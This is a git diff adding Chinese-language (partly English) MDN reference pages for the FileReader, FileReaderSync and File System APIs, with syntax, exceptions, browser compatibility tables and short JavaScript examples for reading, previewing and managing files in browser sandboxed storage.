即将被读取的 {{domxref("Blob")}} 或者 {{domxref("File")}} 对象。
+
+ +

示例

+ +
var canvas = document.createElement('canvas');
+var height = 200;
+var width  = 200;
+
+canvas.width  = width;
+canvas.height = height;
+
+var ctx = canvas.getContext('2d');
+
+ctx.strokeStyle = '#090';
+ctx.beginPath();
+ctx.arc(width/2, height/2, width/2 - width/10, 0, Math.PI*2);
+ctx.stroke();
+
+canvas.toBlob(function (blob) {
+  var reader = new FileReader();
+
+  reader.onloadend = function () {
+    console.log(reader.result);
+  }
+
+  reader.readAsBinaryString(blob);
+});
+ +

规范

+ +

该方法已从 FileAPI 标准移除,请使用 {{domxref("FileReader.readAsArrayBuffer()")}} 代替。

+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureFirefox (Gecko)ChromeInternet ExplorerOperaSafari
Basic support{{CompatGeckoDesktop("1.9.2")}}[1]7{{CompatNo}}12.02[3]6.0
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureFirefox Mobile (Gecko)AndroidIE MobileOpera MobileSafari Mobile
Basic support3231011.56.0
+
+ +

[1] 在Gecko 2.0 beta 7 (Firefox 4.0 beta 7)之前,上述方法中所有的 {{domxref("Blob")}} 参数都只能是一个 {{domxref("File")}} 对象。根据最新的 FileAPI 草案,现在的所有的 {{domxref("Blob")}} 参数既可以是 {{domxref("Blob")}} 对象也可以是一个 {{domxref("File")}} 对象。在Gecko 13.0 {{geckoRelease("13.0")}} 之前,FileReader.error 属性会返回一个 FileError 对象。根据最新的FileAPI草案,现在的  FileReader.error会返回一个 DOMError 对象。

+ +

[2] IE9有一个 File API Lab.

+ +

[3] Opera从11.10开始 部分支持 .

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/filereader/readasdataurl/index.html b/files/zh-cn/web/api/filereader/readasdataurl/index.html new file mode 100644 index 0000000000..1efde1a9fe --- /dev/null +++ b/files/zh-cn/web/api/filereader/readasdataurl/index.html @@ -0,0 +1,121 @@ +--- +title: FileReader.readAsDataURL() +slug: Web/API/FileReader/readAsDataURL +tags: + - API + - File API +translation_of: Web/API/FileReader/readAsDataURL +--- +
{{APIRef("File API")}}
+ +

readAsDataURL 方法会读取指定的 {{domxref("Blob")}} 或 {{domxref("File")}} 对象。读取操作完成的时候,{{domxref("FileReader.readyState","readyState")}} 会变成已完成DONE,并触发 {{event("loadend")}} 事件,同时 {{domxref("FileReader.result","result")}} 属性将包含一个data:URL格式的字符串(base64编码)以表示所读取文件的内容。

+ +

语法

+ +
instanceOfFileReader.readAsDataURL(blob);
+ +

参数

+ +
+
blob
+
即将被读取的 {{domxref("Blob")}} 或 {{domxref("File")}} 对象。
+
+ +

示例

+ +

HTML

+ +
<input type="file" onchange="previewFile()"><br>
+<img src="" height="200" alt="Image preview...">
+ +

JavaScript

+ +
function previewFile() {
+  var preview = document.querySelector('img');
+  var file    = document.querySelector('input[type=file]').files[0];
+  var reader  = new FileReader();
+
+  reader.addEventListener("load", function () {
+    preview.src = reader.result;
+  }, false);
+
+  if (file) {
+    reader.readAsDataURL(file);
+  }
+}
+ +

演示

+ +

{{EmbedLiveSample("Example", "100%", 240)}}

+ +

读取多个文件的例子

+ +

HTML

+ +
<input id="browse" type="file" onchange="previewFiles()" multiple>
+<div id="preview"></div>
+ +

JavaScript

+ +
function previewFiles() {
+
+  var preview = document.querySelector('#preview');
+  var files   = document.querySelector('input[type=file]').files;
+
+  function readAndPreview(file) {
+
+    // 确保 `file.name` 符合我们要求的扩展名
+    if ( /\.(jpe?g|png|gif)$/i.test(file.name) ) {
+      var reader = new FileReader();
+
+      reader.addEventListener("load", function () {
+        var image = new Image();
+        image.height = 100;
+        image.title = file.name;
+        image.src = this.result;
+        preview.appendChild( image );
+      }, false);
+
+      reader.readAsDataURL(file);
+    }
+
+  }
+
+  if (files) {
+    [].forEach.call(files, readAndPreview);
+  }
+
+}
+
+ +
注意: Internet Explorer  10 之前的版本并不支持  FileReader() 。关于图片文件预览的兼容性解决方案,可以查看 crossbrowser possible solution for image preview 或者 this more powerful example 。
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("File API", "#FileReader-interface", "FileReader")}}{{Spec2("File API")}}Initial definition
+ +

浏览器兼容性

+ +

{{Compat("api.FileReader.readAsDataURL")}}

+ +

参见

+ + + +

{{APIRef("File API")}}

diff --git a/files/zh-cn/web/api/filereader/readastext/index.html b/files/zh-cn/web/api/filereader/readastext/index.html new file mode 100644 index 0000000000..dd9618490f --- /dev/null +++ b/files/zh-cn/web/api/filereader/readastext/index.html @@ -0,0 +1,110 @@ +--- +title: FileReader.readAsText() +slug: Web/API/FileReader/readAsText +translation_of: Web/API/FileReader/readAsText +--- +
{{APIRef("File API")}}
+ +
 
+ +

readAsText 方法可以将 Blob 或者 File 对象转根据特殊的编码格式转化为内容(字符串形式)

+ +

这个方法是异步的,也就是说,只有当执行完成后才能够查看到结果,如果直接查看是无结果的,并返回undefined

+ +

也就是说必须要挂载 实例下的 onload 或 onloadend 的方法处理转化后的结果

+ +

当转化完成后, readyState 这个参数就会转换 为 done 即完成态, event("loadend") 挂载的事件会被触发,并可以通过事件返回的形参得到中的 FileReader.result 属性得到转化后的结果

+ +

语法

+ +
 instance of FileReader.readAsText(blob[, encoding]);
+ +

参数

+ +
+
二进制对象
+
Blob类型 或 File类型
+
编码类型  (可选)
+
传入一个字符串类型的编码类型,如缺省,则默认为“utf-8”类型
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("File API", "#FileReader-interface", "FileReader")}}{{Spec2("File API")}}Initial definition
+ +

兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureFirefox (Gecko)ChromeInternet ExplorerOperaSafari
Basic support{{CompatGeckoDesktop("1.9.2")}}[1]710[2]12.02[3]6.0.2
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureFirefox Mobile (Gecko)AndroidIE MobileOpera MobileSafari Mobile
Basic support3231011.56.1
+
+ +

 

+ +

[1] 在 Gecko 2.0 beta 7 (Firefox 4.0 beta 7) 之前,所有 File 类型,都是 Blob类型的一个子集,这已经正确的被纳入到规范里了.在 Gecko 13.0 之前,如果我们错误的传参会导致 FileReader 返回一个FileError对象.而FileError 这个实例已经从FileReader 规范中被移除了.而在最新的FileAPI 草稿中定义的错误处理机制是返回一个 DOMError 对象.

+ +

[2] IE9 采用的是 File API Lab.实现编码格式化

+ +

[3] 在Opera11.1 版本中只是被部分支持

+ +

其他文档 

+ + diff --git a/files/zh-cn/web/api/filereader/readystate/index.html b/files/zh-cn/web/api/filereader/readystate/index.html new file mode 100644 index 0000000000..d0d60eacc3 --- /dev/null +++ b/files/zh-cn/web/api/filereader/readystate/index.html @@ -0,0 +1,101 @@ +--- +title: FileReader.readyState +slug: Web/API/FileReader/readyState +translation_of: Web/API/FileReader/readyState +--- +
{{APIRef("File API")}}
+ +

提供 FileReader 读取操作时的当前状态。

+ +

语法

+ +
var state = instanceOfFileReader.readyState
+
+ +

+ +

一个数字,用来表示 {{domxref("FileReader")}} API 的三种可能状态。

+ +

{{page("/zh-CN/docs/Web/API/FileReader","State constants")}}

+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("File API", "#FileReader-interface", "FileReader")}}{{Spec2("File API")}}Initial definition
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureFirefox (Gecko)ChromeInternet ExplorerOperaSafari
Basic support{{CompatGeckoDesktop("1.9.2")}}[1]710[2]12.02[3]6.0.2
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureFirefox Mobile (Gecko)AndroidIE MobileOpera MobileSafari Mobile
Basic support3231011.56.1
+
+ +

[1] 在Gecko 2.0 beta 7 (Firefox 4.0 beta 7)之前,上述方法中所有的 {{domxref("Blob")}} 参数都只能是一个 {{domxref("File")}} 对象。根据最新的 FileAPI 草案,现在的所有的 {{domxref("Blob")}} 参数既可以是 {{domxref("Blob")}} 对象也可以是一个 {{domxref("File")}} 对象。在Gecko 13.0 {{geckoRelease("13.0")}} 之前,FileReader.error 属性会返回一个 FileError 对象。根据最新的FileAPI草案,现在的  FileReader.error会返回一个 DOMError 对象。

+ +

[2] IE9有一个 File API Lab.

+ +

[3] Opera从11.10开始 部分支持 .

+ +

相关链接

+ + + + diff --git a/files/zh-cn/web/api/filereader/result/index.html b/files/zh-cn/web/api/filereader/result/index.html new file mode 100644 index 0000000000..d459d6af67 --- /dev/null +++ b/files/zh-cn/web/api/filereader/result/index.html @@ -0,0 +1,96 @@ +--- +title: FileReader.result +slug: Web/API/FileReader/result +translation_of: Web/API/FileReader/result +--- +
{{APIRef("File API")}}
+ +

返回文件的内容。只有在读取操作完成后,此属性才有效,返回的数据的格式取决于是使用哪种读取方法来执行读取操作的。

+ +

语法

+ +
var file = instanceOfFileReader.result
+
+ +

+ +

一个字符串或者一个{{domxref("ArrayBuffer")}} ,这取决于读取操作是使用哪种方法来进行的。

+ +

技术规范

+ + + + + + + + + + + + + + +
规范状态注释
{{SpecName("File API", "#FileReader-interface", "FileReader")}}{{Spec2("File API")}}初始定义
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
特性Firefox (Gecko)ChromeInternet ExplorerOperaSafari
基本特性支持{{CompatGeckoDesktop("1.9.2")}}[1]710[2]12.02[3]6.0.2
+
+ +
+ + + + + + + + + + + + + + + + + + + +
特性Firefox Mobile (Gecko)AndroidIE MobileOpera MobileSafari Mobile
基本特性支持3231011.56.1
+
+ +

[1] 早于 Gecko 2.0 beta 7 (Firefox 4.0 beta 7)的版本,所有 {{domxref("Blob")}} 的参数归属于 {{domxref("File")}};现在已经更新为正确的技术规范。早于Gecko 13.0 {{geckoRelease("13.0")}} 的版本,FileReader.error 属性返回一个 {{domxref("FileError")}} 对象,这个接口已经被移除。现在根据最新的FileAPI 草案FileReader.error返回一个{{domxref("DOMError")}} 对象。

+ +

[2] IE9拥有File API Lab

+ +

[3] Opera 11.1版本拥有partial support

+ +

参见

+ + diff --git a/files/zh-cn/web/api/filereadersync/index.html b/files/zh-cn/web/api/filereadersync/index.html new file mode 100644 index 0000000000..27b1561b79 --- /dev/null +++ b/files/zh-cn/web/api/filereadersync/index.html @@ -0,0 +1,239 @@ +--- +title: FileReaderSync +slug: Web/API/FileReaderSync +tags: + - API + - NeedsMarkupWork +translation_of: Web/API/FileReaderSync +--- +

{{APIRef("File API")}}

+ +

FileReaderSync接口允许以同步的方式读取FileBlob对象中的内容。

+ +

该接口只在workers可用,因为在主线程里进行同步I/O操作可能会阻塞用户界面。

+ +

方法概述

+ + + + + + + + + + + + + + + + +
ArrayBuffer readAsArrayBuffer(Blob blob);{{ gecko_minversion_inline("8.0") }}
DOMString readAsBinaryString(Blob blob);{{ gecko_minversion_inline("8.0") }}
DOMString readAsText(Blob blob, optional DOMString encoding);{{ gecko_minversion_inline("8.0") }}
DOMString readAsDataURL(Blob blob);{{ gecko_minversion_inline("8.0") }}
+ +

属性

+ +

该接口没有任何属性。

+ +

方法

+ +

readAsArrayBuffer()

+ +

该方法可以读取指定的 Blob 或者 File对象中的内容。当读取完毕后,返回一个 ArrayBuffer 对象,里面包含了被读取文件的内容数据。如果在读取过程中发生了错误,则会抛出相关的异常。

+ +
ArrayBuffer readAsArrayBuffer(
+  in Blob blob
+);
+
+ +

参数

+ +
+
blob
+
将要被读取内容的BlobFile 对象.
+
+ +

返回值

+ +

一个 ArrayBuffer 对象,包含了被读取文件的内容.

+ +

异常

+ +

该方法可能引发下述异常:

+ +
+
NotFoundError
+
BlobFile对象指代的资源无法找到时,触发该异常.比如,该资源已被删除的情况下.
+
SecurityError
+
当检测到下述几种问题情形时触发该异常: +
    +
  • 资源已被第三方修改;
  • +
  • 同时在进行多个读取操作;
  • +
  • 资源的安全级别过高,不允许浏览器进行操作(比如系统文件)。
  • +
+
+
NotReadableError
+
当资源由于权限问题不能被读取时触发该异常。比如并发锁。
+
EncodingError
+
当资源是一个data URL,并且超过了浏览器的限制大小时触发该异常。
+
+ +

readAsBinaryString() {{ deprecated_inline() }}

+ +

该方法可以读取指定的 Blob 或者 File对象的内容。当读取完毕后,返回一个DOMString对象,里面包含了被读取文件的二进制数据.如果在读取过程中发生了错误,则会抛出相关的异常。

+ +
注意 :该方法已被废弃,应该使用readAsArrayBuffer()来替代.
+ +
String readAsBinaryString(
+  in Blob blob
+);
+
+ +

参数

+ +
+
blob
+
将要被读取内容的BlobFile 对象.
+
+ +

返回值

+ +

一个DOMString对象,包含了从资源中读取的二进制数据.

+ +

异常

+ +

该方法可能引发下述异常:

+ +
+
NotFoundError
+
BlobFile对象指代的资源无法找到时,触发该异常。比如,该资源已被删除的情况下。
+
SecurityError
+
当检测到下述几种问题情形时触发该异常: +
    +
  • 资源已被第三方修改;
  • +
  • 同时在进行多个读取操作;
  • +
  • 资源的安全级别过高,不允许浏览器进行操作(比如系统文件)。
  • +
+
+
NotReadableError
+
当资源由于权限问题不能被读取时触发该异常(比如并发锁)。
+
EncodingError
+
当资源是一个data URL,并且超过了浏览器的限制大小时触发该异常。
+
+ +

readAsText()

+ +

该方法可以读取指定的 Blob 或者 File对象的内容。当读取完毕后,返回一个DOMString对象,里面包含了被读取文件的内容数据。可选参数 encoding 用来表示文件的编码类型,如果省略该参数,则该方法会使用一些算法自动检测文件的编码类型.如果在读取过程中发生了错误,则会抛出相关的异常。

+ +
String readAsText(
+  in Blob blob,
+  in DOMString encoding {{ optional_inline() }}
+);
+
+ +

参数

+ +
+
blob
+
将要被读取内容的BlobFile 对象。
+
encoding
+
可选参数,表示被读取文件的编码类型, 比如GBK 或者 UTF-8。
+
+ +

返回值

+ +

一个DOMString对象,包含了被读取文件的内容。

+ +

异常

+ +

该方法可能引发下述异常:

+ +
+
NotFoundError
+
BlobFile对象指代的资源无法找到时,触发该异常。比如,该资源已被删除的情况下。
+
SecurityError
+
当检测到下述几种问题情形时触发该异常: +
    +
  • 资源已被第三方修改;
  • +
  • 同时在进行多个读取操作;
  • +
  • 资源的安全级别过高,不允许浏览器进行操作。(比如系统文件)。
  • +
+
+
NotReadableError
+
当资源由于权限问题不能被读取时触发该异常(比如并发锁)。
+
+ +

readAsDataURL()

+ +

该方法可以读取指定的 Blob 或者 File对象的内容。当读取完毕后,返回一个Data URL格式的DOMString对象,里面包含了被读取文件的内容数据。如果在读取过程中发生了错误,则会抛出相关的异常。

+ +
String readAsDataURL(
+  in Blob file
+);
+
+ +
+

参数

+ +
+
blob
+
将要被读取内容的BlobFile 对象。
+
+
+ +
+

返回值

+ +

一个DOMString对象,data URL格式,包含了被读取文件的内容。

+
+ +

异常

+ +

该方法可能引发下述异常:

+ +
+
NotFoundError
+
BlobFile对象指代的资源无法找到时,触发该异常。比如,该资源已被删除的情况下。
+
SecurityError
+
当检测到下述几种问题情形时触发该异常: +
    +
  • 资源已被第三方修改;
  • +
  • 同时在进行多个读取操作;
  • +
  • 资源的安全级别过高,不允许浏览器进行操作(比如系统文件)。
  • +
+
+
NotReadableError
+
当资源由于权限问题不能被读取时触发该异常(比如并发锁)。
+
EncodingError
+
当资源是一个data URL,并且超过了浏览器的限制大小时触发该异常。
+
+ +

Specifications

+ +

 

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('File API','#FileReaderSync','FileReaderSync')}}{{Spec2('File API')}}Initial definition.
+ +

浏览器兼容性

+ +

{{Compat("api.FileReaderSync")}}

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/filerequest/index.html b/files/zh-cn/web/api/filerequest/index.html new file mode 100644 index 0000000000..c7662405c2 --- /dev/null +++ b/files/zh-cn/web/api/filerequest/index.html @@ -0,0 +1,57 @@ +--- +title: FileRequest +slug: Web/API/FileRequest +tags: + - API + - 引用 + - 接口 + - 文件 + - 文件请求 +translation_of: Web/API/FileRequest +--- +

{{APIRef("File System API")}}{{obsolete_header()}}

+ +

概述

+ +

这个 FileRequest 接口继承自 {{domxref("DOMRequest")}} 接口,用来提供一些 {{domxref("LockedFile")}} 对象需要的额外的必要的属性。

+ +

属性

+ +
+
{{domxref("FileRequest.lockedFile")}} {{readonlyinline}}
+
请求产生的{{domxref("LockedFile")}} 对象。
+
{{domxref("FileRequest.onprogress")}}
+
FileRequest 在处理操作过程中不断调用的一个回调函数的引用。
+
+ +

FileRequest 接口也继承了 {{domxref("DOMRequest")}} 接口。

+ +

{{page("/en-US/docs/Web/API/DOMRequest","Properties")}}

+ +

方法

+ +

无。

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('FileSystem')}}{{Spec2('FileSystem')}}Draft proposal.
+ +

查看相关

+ + diff --git a/files/zh-cn/web/api/filesystem/index.html b/files/zh-cn/web/api/filesystem/index.html new file mode 100644 index 0000000000..77b9234e72 --- /dev/null +++ b/files/zh-cn/web/api/filesystem/index.html @@ -0,0 +1,105 @@ +--- +title: FileSystem +slug: Web/API/FileSystem +translation_of: Web/API/FileSystem +--- +
+{{APIRef("File System API")}} {{non-standard_header}} +
+ +

File System API 中,一个 FileSystem 对象代表着一个文件系统。这个对象是调用 requestFileSystem() 成功的一个标志。FileSystem 对象有两个属性。

+ +

关于本文档

+ +

本文档的上次更新是 2012 年 3 月 2 日,引用来源是 2011 年 4 月 9 日的草案 W3C Specifications (Working Draft)
+ 该草案似乎已经被放弃了,任何实现不应该参考这份草案,也不该引用它。

+ +

基本概念

+ +

你可以通过调用 window.requestFileSystem() 来请求对一个沙盒文件系统的访问权限。调用 requestFileSystem() 会创建一个新的沙盒存储空间。成功调用之后会返回一个 FileSystem 对象。它有两个属性:名称和文件系统的根目录。

+ +

FileSystem 对象是你访问文件系统所必须的,所以你最好为它创建一个引用,然后储存起来。

+ +

属性

+ + + + + + + + + + + + + + + + + + + + + +
属性类型解释
name只读的 DOMString文件系统的名称。The name must be unique across the list of exposed file systems.
root只读的目录实体文件系统的根目录。
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
功能ChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
基本支持13{{ property_prefix("webkit") }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
功能AndroidChrome for AndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
基本支持{{ CompatNo() }}0.16{{ property_prefix("webkit") }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
+
+ +

相关链接

+ +

规范:{{ spec("http://www.w3.org/TR/file-system-api/", "File API: Directories and System Specification", "WD") }}

+ +

引用: File System API

+ +

介绍: Basic Concepts About the File System API

diff --git a/files/zh-cn/web/api/filesystemdirectoryentry/index.html b/files/zh-cn/web/api/filesystemdirectoryentry/index.html new file mode 100644 index 0000000000..b6656c5de3 --- /dev/null +++ b/files/zh-cn/web/api/filesystemdirectoryentry/index.html @@ -0,0 +1,199 @@ +--- +title: FileSystemDirectoryEntry +slug: Web/API/FileSystemDirectoryEntry +translation_of: Web/API/FileSystemDirectoryEntry +--- +

{{APIRef("File System API")}}{{Non-standard_header}}

+ +

文件和目录条目 API 的 FileSystemDirectoryEntry 接口表示文件系统中的目录。它提供了方法,使其能够访问和操作目录中的文件,以及访问目录中的条目。

+ +
+

由于这是个非标准的 API,它的规范当前并没有在标准进程中,重要的是要记住,并不是所有浏览器都实现了他,并且实现它的浏览器可能仅仅实现了一小部分。更多细节请查看 {{anch("Browser compatibility")}} 。

+
+ +

基本概念

+ +

你可以通过调用 {{domxref("FileSystemDirectoryEntry.getDirectory", "getDirectory()")}} 创建新的目录。如果你打算创建子目录,按需创建每个子目录。如果你尝试使用完整路径创建目录,包含不存在的父目录,会返回错误。所以需要在创建父目录之后,递归添加新的路径来创建层次。

+ +

示例

+ +

下面的代码中,我们创建了一个叫做 "Documents" 的目录。

+ +
// Taking care of the browser-specific prefixes.
+window.requestFileSystem  = window.requestFileSystem || window.webkitRequestFileSystem;
+window.directoryEntry = window.directoryEntry || window.webkitDirectoryEntry;
+
+...
+
+function onFs(fs){
+  fs.root.getDirectory('Documents', {create:true}, function(directoryEntry){
+    //directoryEntry.isFile === false
+    //directoryEntry.isDirectory === true
+    //directoryEntry.name === 'Documents'
+    //directoryEntry.fullPath === '/Documents'
+
+    }, onError);
+
+  }
+
+// Opening a file system with temporary storage
+window.requestFileSystem(TEMPORARY, 1024*1024 /*1MB*/, onFs, onError);
+ +

属性

+ +

这个接口没有自己的属性,但是从它的父接口 {{domxref("FileSystemEntry")}} 继承了属性。

+ +

方法

+ +

这个接口从它的父接口 {{domxref("FileSystemEntry")}} 继承了方法。

+ +
+
{{domxref("FileSystemDirectoryEntry.createReader", "createReader()")}}
+
创建 {{domxref("FileSystemDirectoryReader")}} 对象,它可以用于服务目录中的条目。
+
{{domxref("FileSystemDirectoryEntry.getDirectory", "getDirectory()")}}
+
返回 {{domxref("FileSystemDirectoryEntry")}} 对象,表示位于给定路径的目录,相对于方法调用处的目录。
+
{{domxref("FileSystemDirectoryEntry.getFile", "getFile()")}}
+
返回 {{domxref("FileSystemFileEntry")}}对象,表示在目录层次中的一个文件,提供相对于方法调用处目录的路径。 
+
+ +

废弃的方法

+ +
+
{{domxref("FileSystemDirectoryEntry.removeRecursively", "removeRecursively()")}}
+
删除目录和所有内容,包含子目录的内容。它已经从规范中移除。
+
+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('File System API')}}{{Spec2('File System API')}}Draft of proposed API
+ +

这个 API 没有官方的  W3C 或者 WHATWG 规范。

+ +

浏览器兼容性

+ +

{{ CompatibilityTable }}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerMicrosoft EdgeOperaSafari (WebKit)
Basic support13 {{ property_prefix("webkit") }}{{CompatVersionUnknown}}{{ CompatGeckoDesktop(50) }}[2]{{ CompatNo }}{{CompatNo}}[3]{{ CompatNo }}{{ CompatNo }}
removeRecursively()13 {{ property_prefix("webkit") }}{{CompatUnknown}}{{ CompatNo }}[1]{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}
getFile() and getDirectory()13 {{ property_prefix("webkit") }}{{CompatUnknown}}{{ CompatGeckoDesktop(50) }}[2]{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidEdgeFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{ CompatNo }}0.16 {{ property_prefix("webkit") }}{{CompatVersionUnknown}}{{ CompatGeckoDesktop(50) }}[2]{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}
removeRecursively(){{ CompatNo }}0.16 {{ property_prefix("webkit") }}{{CompatUnknown}}{{ CompatNo }}[1]{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}
getFile() and getDirectory(){{ CompatNo }}0.16 {{ property_prefix("webkit") }}{{CompatUnknown}}{{ CompatGeckoDesktop(50) }}[2]{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}
+
+ +

[1] 虽然 {{domxref("FileSystemDirectoryEntry.removeRecursively", "removeRecursively()")}} 方法存在于 Firefox 50,它所做的所有事情就是使用 NS_ERROR_DOM_SECURITY_ERR 调用错误回调。它已经从 Firefox 52 中移除了,并且也从规范中移除。

+ +

[2] 在 Firefox 中,错误回调的参数是 {{domxref("DOMException")}} ,而不是 {{domxref("FileError")}} 对象。

+ +

[3] Microsoft Edge 在 WebKitEntry 接口中实现了这个接口的功能,它就是 {{domxref("FileSystemEntry")}}。

+ +

另见

+ + diff --git a/files/zh-cn/web/api/filesystemdirectoryreader/index.html b/files/zh-cn/web/api/filesystemdirectoryreader/index.html new file mode 100644 index 0000000000..471b5a4240 --- /dev/null +++ b/files/zh-cn/web/api/filesystemdirectoryreader/index.html @@ -0,0 +1,67 @@ +--- +title: FileSystemDirectoryReader +slug: Web/API/FileSystemDirectoryReader +tags: + - API + - File System API + - File and Directory Entries API + - FileSystemDirectoryReader + - Files + - Interface + - NeedsTranslation + - Non-standard + - Offline + - Reference + - TopicStub +translation_of: Web/API/FileSystemDirectoryReader +--- +

{{APIRef("File System API")}}{{Non-standard_header}}

+ +

The FileSystemDirectoryReader interface of the File and Directory Entries API lets you access the {{domxref("FileEntry")}}-based objects (generally {{domxref("FileSystemFileEntry")}} or {{domxref("FileSystemDirectoryEntry")}}) representing each entry in a directory.

+ +
+

Because this is a non-standard API, whose specification is not currently on a standards track, it's important to keep in mind that not all browsers implement it, and those that do may implement only small portions of it. Check the {{anch("Browser compatibility")}} section for details.

+
+ +

Methods

+ +
+
{{domxref("FileSystemDirectoryReader.readEntries", "readEntries()")}}
+
Returns a an array containing some number of the directory's entries. Each item in the array is an object based on {{domxref("FileSystemEntry")}}—typically either {{domxref("FileSystemFileEntry")}} or {{domxref("FileSystemDirectoryEntry")}}.
+
+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('File System API')}}{{Spec2('File System API')}}Draft of proposed API
+ +

This API has no official W3C or WHATWG specification.

+ +

Browser compatibility

+ + + +

{{Compat("api.FileSystemDirectoryReader")}}

+ +

See also

+ + diff --git a/files/zh-cn/web/api/filesystemdirectoryreader/readentries/index.html b/files/zh-cn/web/api/filesystemdirectoryreader/readentries/index.html new file mode 100644 index 0000000000..c1a8611a3d --- /dev/null +++ b/files/zh-cn/web/api/filesystemdirectoryreader/readentries/index.html @@ -0,0 +1,68 @@ +--- +title: FileSystemDirectoryReader.readEntries() +slug: Web/API/FileSystemDirectoryReader/readEntries +translation_of: Web/API/FileSystemDirectoryReader/readEntries +--- +
{{APIRef("File System API")}}
+ +

{{SeeCompatTable}}{{Non-standard_header}}

+ +

The {{domxref("FileSystemDirectoryReader")}} interface's readEntries() method retrieves the directory entries within the directory being read and delivers them in an array to a provided callback function. The objects in the array are all based upon {{domxref("FileSystemEntry")}}. Generally, they are either {{domxref("FileSystemFileEntry")}} objects, which represent standard files, or {{domxref("FileSystemDirectoryEntry")}} objects, which represent directories.

+ +

Syntax

+ +
readEntries(successCallback[, errorCallback]);
+
+ +

Parameters

+ +
+
successCallback
+
A function which is called when the directory's contents have been retrieved. The function receives a single input parameter: an array of file system entry objects, each based on {{domxref("FileSystemEntry")}}. Generally, they are either {{domxref("FileSystemFileEntry")}} objects, which represent standard files, or {{domxref("FileSystemDirectoryEntry")}} objects, which represent directories. If there are no files left, or you've already called readEntries() on this {{domxref("FileSystemDirectoryReader")}}, the array is empty.
+
errorCallback {{optional_inline}}
+
A callback function which is called if an error occurs while reading from the directory. It receives one input parameter: a {{domxref("FileError")}} object describing the error which occurred.
+
+ +

Return value

+ +

{{jsxref("undefined")}}.

+ +

Example

+ +

{{page("/en-US/docs/Web/API/DataTransferItem/webkitGetAsEntry", "Example")}}

+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('File System API')}}{{Spec2('File System API')}}Draft of proposed API
+ +

This API has no official W3C or WHATWG specification.

+ +

Browser compatibility

+ + + +

{{Compat("api.FileSystemDirectoryReader.readEntries")}}

+ +

See also

+ + diff --git a/files/zh-cn/web/api/filesystementry/index.html b/files/zh-cn/web/api/filesystementry/index.html new file mode 100644 index 0000000000..8cfed42aaf --- /dev/null +++ b/files/zh-cn/web/api/filesystementry/index.html @@ -0,0 +1,113 @@ +--- +title: FileSystemEntry +slug: Web/API/FileSystemEntry +translation_of: Web/API/FileSystemEntry +--- +
{{APIRef("File System API")}} {{non-standard_header}}
+ +

The FileSystemEntry interface of the File and Directory Entries API represents a single in a file system. The entry can be a file or a directory (directories are represented by the {{domxref("DirectoryEntry")}} interface). It includes methods for working with files—including copying, moving, removing, and reading files—as well as information about a file it points to—including the file name and its path from the root to the entry.

+ +
+

Because this is a non-standard API, whose specification is not currently on a standards track, it's important to keep in mind that not all browsers implement it, and those that do may implement only small portions of it. Check the {{anch("Browser compatibility")}} section for details.

+
+ +

Basic concepts

+ +

You don't create FileSystemEntry objects directly. Instead, you will receive an object based on this interface through other APIs. This interface serves as a base class for the {{domxref("FileSystemFileEntry")}} and {{domxref("FileSystemDirectoryEntry")}} interfaces, which provide features specific to file system entries representing files and directories, respectively.

+ +

The FileSystemEntry interface includes methods that you would expect for manipulating files and directories, but it also includes a convenient method for obtaining the URL of the entry: toURL(). It also introduces a new URL scheme: filesystem:.

+ +

You can use the filesystem: scheme on Google Chrome to see all the files and folders that are stored in the origin of your app. Just use filesystem: scheme for the root directory of the origin of the app. For example, if your app is in http://www.html5rocks.com, open filesystem:http://www.html5rocks.com/temporary/ in a tab. Chrome shows a read-only list of all the files and folders stored the origin of your app.

+ +

Example

+ +

To see an example of how toURL() works, see the method description. The snippet below shows you how you can remove a file by name.

+ +
// Taking care of the browser-specific prefixes.
+window.requestFileSystem  = window.requestFileSystem || window.webkitRequestFileSystem;
+
+...
+
+// Opening a file system with temporary storage
+window.requestFileSystem(TEMPORARY, 1024*1024 /*1MB*/, function(fs) {
+  fs.root.getFile('log.txt', {}, function(fileEntry) {
+
+    fileEntry.remove(function() {
+      console.log('File removed.');
+    }, onError);
+
+  }, onError);
+}, onError); 
+ +

Properties

+ +

This interface provides the following properties.

+ +
+
{{domxref("FileSystemEntry.filesystem", "filesystem")}} {{ReadOnlyInline}}
+
